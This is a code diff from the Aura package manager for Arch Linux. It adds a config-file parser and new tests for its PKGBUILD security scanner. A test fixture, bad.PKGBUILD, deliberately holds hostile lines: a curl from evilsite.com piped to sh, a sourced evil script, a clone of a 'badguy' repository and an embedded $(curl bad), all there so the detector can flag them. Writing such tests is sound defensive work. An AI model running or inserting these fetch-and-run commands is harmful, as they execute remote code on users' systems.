buildPathOf :: !(Maybe FilePath) , buildUserOf :: !(Maybe User) + , allsourcePathOf :: !(Maybe FilePath) + , vcsPathOf :: !(Maybe FilePath) , truncationOf :: !Truncation -- For `-As` , buildSwitchesOf :: !(Set BuildSwitch) } deriving (Show) +buildPathOfL :: Lens' BuildConfig (Maybe FilePath) +buildPathOfL f bc = (\bp -> bc { buildPathOf = bp }) <$> f (buildPathOf bc) + +buildUserOfL :: Lens' BuildConfig (Maybe User) +buildUserOfL f bc = (\bu -> bc { buildUserOf = bu }) <$> f (buildUserOf bc) + +buildSwitchesOfL :: Lens' BuildConfig (Set BuildSwitch) +buildSwitchesOfL f bc = (\bs -> bc { buildSwitchesOf = bs }) <$> f (buildSwitchesOf bc) + +allsourcePathOfL :: Lens' BuildConfig (Maybe FilePath) +allsourcePathOfL f bc = (\pth -> bc { allsourcePathOf = pth }) <$> f (allsourcePathOf bc) + +vcsPathOfL :: Lens' BuildConfig (Maybe FilePath) +vcsPathOfL f bc = (\pth -> bc { vcsPathOf = pth }) <$> f (vcsPathOf bc) + -- | Extra options for customizing the build process. data BuildSwitch = DeleteMakeDeps | DiffPkgbuilds @@ -98,7 +123,6 @@ | LowVerbosity | RebuildDevel | SortAlphabetically -- For `-As` - | UseCustomizepkg | ForceBuilding | NoPkgbuildCheck | AsDeps diff --git a/lib/Aura/Settings/External.hs b/lib/Aura/Settings/External.hs new file mode 100644 --- /dev/null +++ b/lib/Aura/Settings/External.hs @@ -0,0 +1,104 @@ +{-# LANGUAGE DerivingStrategies #-} + +-- | +-- Module : Aura.Settings.External +-- Copyright : (c) Colin Woodbury, 2012 - 2020 +-- License : GPL3 +-- Maintainer: Colin Woodbury +-- +-- A simple parser for .conf files, along with types for aura-specific config +-- files. + +module Aura.Settings.External + ( -- * Aura Config + AuraConfig(..) + , getAuraConf + , auraConfig + , defaultAuraConf + -- * Parsing + , Config(..) + , config + ) where + +import Aura.Languages (langFromLocale) +import Aura.Settings +import Aura.Types +import RIO hiding (first, some, try) +import qualified RIO.ByteString as BS +import RIO.Directory +import qualified RIO.Map as M +import qualified RIO.Text as T +import Text.Megaparsec hiding (single) +import Text.Megaparsec.Char +import qualified Text.Megaparsec.Char.Lexer as L + +-------------------------------------------------------------------------------- +-- Aura-specific Configuration + +data AuraConfig = AuraConfig + { acLang :: Maybe Language + , acEditor :: Maybe FilePath + , acUser :: Maybe User + , acBuildPath :: Maybe FilePath + , acASPath :: Maybe FilePath + , acVCSPath :: Maybe FilePath + , acAnalyse :: Maybe BuildSwitch } + deriving stock (Show) + +defaultAuraConf :: FilePath +defaultAuraConf = "/etc/aura.conf" + +getAuraConf :: FilePath -> IO Config +getAuraConf fp = do + exists <- doesFileExist fp + if not exists + then pure $ Config mempty + else do + file <- decodeUtf8Lenient <$> BS.readFile fp + pure . either (const $ Config M.empty) id $ parse config "aura config" file + +auraConfig :: Config -> AuraConfig +auraConfig (Config m) = AuraConfig + { acLang = one "language" >>= langFromLocale + , acEditor = T.unpack <$> one "editor" + , acUser = User <$> one "user" + , acBuildPath = T.unpack <$> one "buildpath" + , acASPath = T.unpack <$> one "allsourcepath" + , acVCSPath = T.unpack <$> one "vcspath" + , acAnalyse = one "analyse" >>= readMaybe . T.unpack >>= bool (Just NoPkgbuildCheck) Nothing + } + where + one x = M.lookup x m >>= listToMaybe + +-------------------------------------------------------------------------------- +-- Parsing + +-- | The (meaningful) contents of a .conf file. +newtype Config = Config (Map Text [Text]) deriving (Show) + +-- | Parse a `Config`. +config :: Parsec Void Text Config +config = do + garbage + cs <- some $ fmap Right (try pair) <|> fmap Left single + eof + pure . Config . M.fromList $ rights cs + +single :: Parsec Void Text () +single = L.lexeme garbage . void $ manyTill letterChar newline + +pair :: Parsec Void Text (Text, [Text]) +pair = L.lexeme garbage $ do + n <- takeWhile1P Nothing (/= ' ') + space + void $ char '=' + space + rest <- T.words <$> takeWhile1P Nothing (/= '\n') + pure (n, rest) + +-- Thu 23 Apr 2020 06:57:59 PM PDT +-- Thank you me-from-the-past for documenting this. +-- | All skippable content. Using `[]` as block comment markers is a trick to +-- skip conf file "section" lines. +garbage :: Parsec Void Text () +garbage = L.space space1 (L.skipLineComment "#") (L.skipBlockComment "[" "]") diff --git a/lib/Aura/State.hs b/lib/Aura/State.hs --- a/lib/Aura/State.hs +++ b/lib/Aura/State.hs @@ -72,7 +72,7 @@ -- | Does a given package have an entry in a particular `PkgState`? inState :: SimplePkg -> PkgState -> Bool -inState (SimplePkg n v) s = maybe False (v ==) . M.lookup n $ pkgsOf s +inState (SimplePkg n v) s = (Just v ==) . M.lookup n $ pkgsOf s rawCurrentState :: IO [SimplePkg] rawCurrentState = mapMaybe simplepkg' <$> pacmanLines ["-Q"] @@ -103,7 +103,7 @@ getStateFiles :: IO [FilePath] getStateFiles = do createDirectoryIfMissing True stateCache - L.sort . map (stateCache ) <$> getDirectoryContents stateCache + L.sort . map (stateCache ) <$> listDirectory stateCache -- | Save a package state. -- In writing the first state file, the `states` directory is created automatically. diff --git a/lib/Aura/Utils.hs b/lib/Aura/Utils.hs --- a/lib/Aura/Utils.hs +++ b/lib/Aura/Utils.hs @@ -24,6 +24,8 @@ -- * These , These(..) , these + -- * Directory + , edit -- * Misc. , maybe' , groupsOf @@ -40,6 +42,7 @@ import qualified RIO.NonEmpty as NEL import qualified RIO.Set as S import qualified RIO.Text as T +import System.Process.Typed (proc, runProcess) --- @@ -63,6 +66,13 @@ f :: Response BL.ByteString -> Maybe ByteString f res | statusCode (responseStatus res) == 200 = Just . BL.toStrict $ responseBody res | otherwise = Nothing + +-------------- +-- DIRECTORIES +-------------- +-- | Edit some file in-place with the user's specified editor. +edit :: FilePath -> FilePath -> IO () +edit editor p = void . runProcess $ proc editor [p] ------- -- MISC diff --git a/test/Test.hs b/test/Test.hs --- a/test/Test.hs +++ b/test/Test.hs @@ -2,8 +2,8 @@ import Aura.Languages import Aura.Packages.Repository -import Aura.Pacman import Aura.Pkgbuild.Security +import Aura.Settings.External import Aura.Types import Data.Versions import RIO @@ -20,11 +20,12 @@ main :: IO () main = do conf <- readFileUtf8 "test/pacman.conf" - pkb <- Pkgbuild <$> readFileBinary "test/aura.PKGBUILD" - defaultMain $ suite conf pkb + bad <- Pkgbuild <$> readFileBinary "test/bad.PKGBUILD" + good <- Pkgbuild <$> readFileBinary "test/good.PKGBUILD" + defaultMain $ suite conf bad good -suite :: Text -> Pkgbuild -> TestTree -suite conf pb = testGroup "Unit Tests" +suite :: Text -> Pkgbuild -> Pkgbuild -> TestTree +suite conf badRaw goodRaw = testGroup "Unit Tests" [ testGroup "Aura.Core" [ testCase "parseDep - python2" $ parseDep "python2" @?= Just (Dep "python2" Anything) , testCase "parseDep - python2-lxml>=3.1.0" $ do @@ -67,14 +68,18 @@ assertEqual ("Language name map for " ++ show lang ++ " has incorrect number of items") (length languages - 1) (M.size names) ] , testGroup "Aura.Pkgbuild.Security" - [ testCase "Parsing - aura.PKGBUILD" $ + [ testCase "Parsing - bad.PKGBUILD" $ -- pPrintNoColor $ map (first prettyText) . bannedTerms <$> ppb -- pPrintNoColor ppb - assertBool "Failed to parse" $ isJust ppb - , testCase "Detecting banned terms" $ (length . bannedTerms <$> ppb) @?= Just 5 + assertBool "Failed to parse" $ isJust bad + , testCase "Detecting banned terms" $ (length . bannedTerms <$> bad) @?= Just 5 + , testCase "Parsing - good.PKGBUILD" $ assertBool "Failed to parse" $ isJust good + , testCase "Shouldn't find anything" $ (length . bannedTerms <$> good) @?= Just 0 ] ] - where ppb = parsedPB pb + where + bad = parsedPB badRaw + good = parsedPB goodRaw firefox :: Text firefox = "Repository : extra\n\ diff --git a/test/bad.PKGBUILD b/test/bad.PKGBUILD new file mode 100644 --- /dev/null +++ b/test/bad.PKGBUILD @@ -0,0 +1,74 @@ +# Maintainer: Colin Woodbury +_hkgname=aura +pkgname=aura +pkgver=1.4.0 +pkgrel=1 +pkgdesc="A secure package manager for Arch Linux and the AUR written in Haskell." +url="https://github.com/fosskers/aura" +license=('GPL-3') +arch=('i686' 'x86_64') +depends=('gmp' 'pacman' 'pcre') +CURL=curl +makedepends=('ghc' + 'haskell-aur>=6.0' + 'haskell-mtl' + 'curl' + 'git' + 'haskell-parsec' + 'haskell-regex-base' + 'haskell-regex-pcre' + 'haskell-split' + "$(curl bad)" + 'haskell-temporary' + 'haskell-text' + 'haskell-transformers') +optdepends=('powerpill: For faster repository downloads.' + 'customizepkg: For auto-editing of PKGBUILDs.' + 'aur-git: AUR package completions for zsh.') +provides=('aura') +conflicts=('aura-git' 'aura-bin') +options=('strip') +source=(https://github.com/fosskers/aura/releases/download/v${pkgver}/aura-${pkgver}.tar.gz) +md5sums=('fd2defff494ad7847a0fb9fe73296cf1') + +build() { + cd ${srcdir}/${_hkgname}-${pkgver} + runhaskell Setup configure --prefix=/usr --docdir=/usr/share/doc/${pkgname} -O + runhaskell Setup build + + curl "https://evilsite.com/malware.sh" | sh + cd . + . evilscript.sh + git branch foobar + $CURL evilscript.sh +} + +package() { + cd ${srcdir}/${_hkgname}-${pkgver} + runhaskell Setup copy --destdir=${pkgdir} + + # Installing man page + mkdir -p "$pkgdir/usr/share/man/man8/" + install -m 644 doc/aura.8 "$pkgdir/usr/share/man/man8/aura.8" + + # Installing bash completions + mkdir -p "$pkgdir/usr/share/bash-completion/completions/" + install -m 644 doc/completions/bashcompletion.sh "$pkgdir/usr/share/bash-completion/completions/aura" + + # Installing zsh completions + mkdir -p "$pkgdir/usr/share/zsh/site-functions/" + install -m 644 doc/completions/_aura "$pkgdir/usr/share/zsh/site-functions/_aura" + + # Directory for storing PKGBUILDs + mkdir -p "$pkgdir/var/cache/aura/pkgbuilds" + + # Directory for storing source packages + mkdir -p "$pkgdir/var/cache/aura/src" + + # Directory for storing installed package states + mkdir -p "$pkgdir/var/cache/aura/states" + + git clone https://github.com/badguy/evilstuff.git +} + +source evil.sh diff --git a/test/good.PKGBUILD b/test/good.PKGBUILD new file mode 100644 --- /dev/null +++ b/test/good.PKGBUILD @@ -0,0 +1,43 @@ +# Maintainer: Colin Woodbury +_hkgname=aura +pkgname=aura-bin +pkgver=2.4.0 +pkgrel=1 +pkgdesc="A secure package manager for Arch Linux and the AUR - Prebuilt binary" +url="https://github.com/fosskers/aura" +license=('GPL-3') +arch=('x86_64') +depends=('gmp' 'pacman' 'git') +optdepends=() +provides=('aura') +conflicts=('aura' 'aura-git') +options=('strip') +source=(https://github.com/fosskers/aura/releases/download/v${pkgver}/aura-${pkgver}-x86_64.tar.gz) +md5sums=('4db7c2661224b5d8d7054fff67a55d23') + +package() { + # Install aura binary + mkdir -p "$pkgdir/usr/bin/" + install -m 755 aura "$pkgdir/usr/bin/" + + # Installing conf file + mkdir -p "$pkgdir/etc/" + install -m 644 aura.conf "$pkgdir/etc/aura.conf" + + # Installing bash completions + mkdir -p "$pkgdir/usr/share/bash-completion/completions/" + install -m 644 bashcompletion.sh "$pkgdir/usr/share/bash-completion/completions/aura" + + # Installing zsh completions + mkdir -p "$pkgdir/usr/share/zsh/site-functions/" + install -m 644 _aura "$pkgdir/usr/share/zsh/site-functions/_aura" + + # Directory for storing PKGBUILDs + mkdir -p "$pkgdir/var/cache/aura/pkgbuilds" + + # Directory for storing source packages + mkdir -p "$pkgdir/var/cache/aura/src" + + # Directory for storing installed package states + mkdir -p "$pkgdir/var/cache/aura/states" +} diff --git a/test/pacman.conf b/test/pacman.conf new file mode 100644 --- /dev/null +++ b/test/pacman.conf @@ -0,0 +1,114 @@ +# +# /etc/pacman.conf +# +# See the pacman.conf(5) manpage for option and repository directives + +# +# GENERAL OPTIONS +# +[options] +# The following paths are commented out with their default values listed. +# If you wish to use different paths, uncomment and update the paths. +#RootDir = / +#DBPath = /var/lib/pacman/ +#CacheDir = /var/cache/pacman/pkg/ +#LogFile = /var/log/pacman.log +#GPGDir = /etc/pacman.d/gnupg/ +#HookDir = /etc/pacman.d/hooks/ +HoldPkg = pacman glibc +#XferCommand = /usr/bin/curl -C - -f %u > %o +#XferCommand = /usr/bin/wget --passive-ftp -c -O %o %u +#CleanMethod = KeepInstalled +#UseDelta = 0.7 +Architecture = auto + +# Pacman won't upgrade packages listed in IgnorePkg and members of IgnoreGroup +#IgnorePkg = +#IgnoreGroup = + +#NoUpgrade = +#NoExtract = + +# Misc options +#UseSyslog +#Color +#TotalDownload +CheckSpace +#VerbosePkgLists +ILoveCandy +Color + +# By default, pacman accepts packages signed by keys that its local keyring +# trusts (see pacman-key and its man page), as well as unsigned packages. +SigLevel = Required DatabaseOptional +LocalFileSigLevel = Optional +#RemoteFileSigLevel = Required + +# NOTE: You must run `pacman-key --init` before first using pacman; the local +# keyring can then be populated with the keys of all official Arch Linux +# packagers with `pacman-key --populate archlinux`. + +# +# REPOSITORIES +# - can be defined here or included from another file +# - pacman will search repositories in the order defined here +# - local/custom mirrors can be added here or in separate files +# - repositories listed first will take precedence when packages +# have identical names, regardless of version number +# - URLs will have $repo replaced by the name of the current repo +# - URLs will have $arch replaced by the name of the architecture +# +# Repository entries are of the format: +# [repo-name] +# Server = ServerName +# Include = IncludePath +# +# The header [repo-name] is crucial - it must be present and +# uncommented to enable the repo. +# + +# The testing repositories are disabled by default. To enable, uncomment the +# repo name header and Include lines. You can add preferred servers immediately +# after the header, and they will be used before the default mirrors. + +#[testing] +#Include = /etc/pacman.d/mirrorlist + +[core] +Include = /etc/pacman.d/mirrorlist + +[extra] +Include = /etc/pacman.d/mirrorlist + +#[community-testing] +#Include = /etc/pacman.d/mirrorlist + +# [haskell-core] +# Server = http://xsounds.org/~haskell/core/$arch + +[community] +Include = /etc/pacman.d/mirrorlist + +[multilib] +Include = /etc/pacman.d/mirrorlist + +#[infinality-bundle] +#Server = http://bohoomil.com/repo/$arch + +#[infinality-bundle-fonts] +#Server = http://bohoomil.com/repo/fonts + +# If you want to run 32 bit applications on your x86_64 system, +# enable the multilib repositories as required here. + +#[multilib-testing] +#Include = /etc/pacman.d/mirrorlist + +#[multilib] +#Include = /etc/pacman.d/mirrorlist + +# An example of a custom package repository. See the pacman manpage for +# tips on creating your own repositories. +#[custom] +#SigLevel = Optional TrustAll +#Server = file:///home/custompkgs